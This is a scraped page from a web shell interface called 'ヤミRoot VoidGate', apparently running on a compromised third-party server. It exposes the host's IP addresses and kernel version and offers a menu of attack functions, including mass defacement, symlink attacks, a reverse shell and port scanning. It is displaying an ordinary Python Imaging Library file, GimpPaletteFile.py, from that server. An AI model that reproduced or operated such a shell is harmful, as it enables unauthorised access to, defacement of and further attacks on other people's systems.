ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
usr
/
lib64
/
python2.7
/
site-packages
/
PIL
/
Viewing: GimpPaletteFile.py
# # Python Imaging Library # $Id$ # # stuff to read GIMP palette files # # History: # 1997-08-23 fl Created # 2004-09-07 fl Support GIMP 2.0 palette files. # # Copyright (c) Secret Labs AB 1997-2004. All rights reserved. # Copyright (c) Fredrik Lundh 1997-2004. # # See the README file for information on usage and redistribution. # import re from PIL._binary import o8 ## # File handler for GIMP's palette format. class GimpPaletteFile: rawmode = "RGB" def __init__(self, fp): self.palette = [o8(i)*3 for i in range(256)] if fp.readline()[:12] != b"GIMP Palette": raise SyntaxError("not a GIMP palette file") i = 0 while i <= 255: s = fp.readline() if not s: break # skip fields and comment lines if re.match(b"\w+:|#", s): continue if len(s) > 100: raise SyntaxError("bad palette file") v = tuple(map(int, s.split()[:3])) if len(v) != 3: raise ValueError("bad palette entry") if 0 <= i <= 255: self.palette[i] = o8(v[0]) + o8(v[1]) + o8(v[2]) i = i + 1 self.palette = b"".join(self.palette) def getpalette(self): return self.palette, self.rawmode
Coded With 💗 by
0x6ick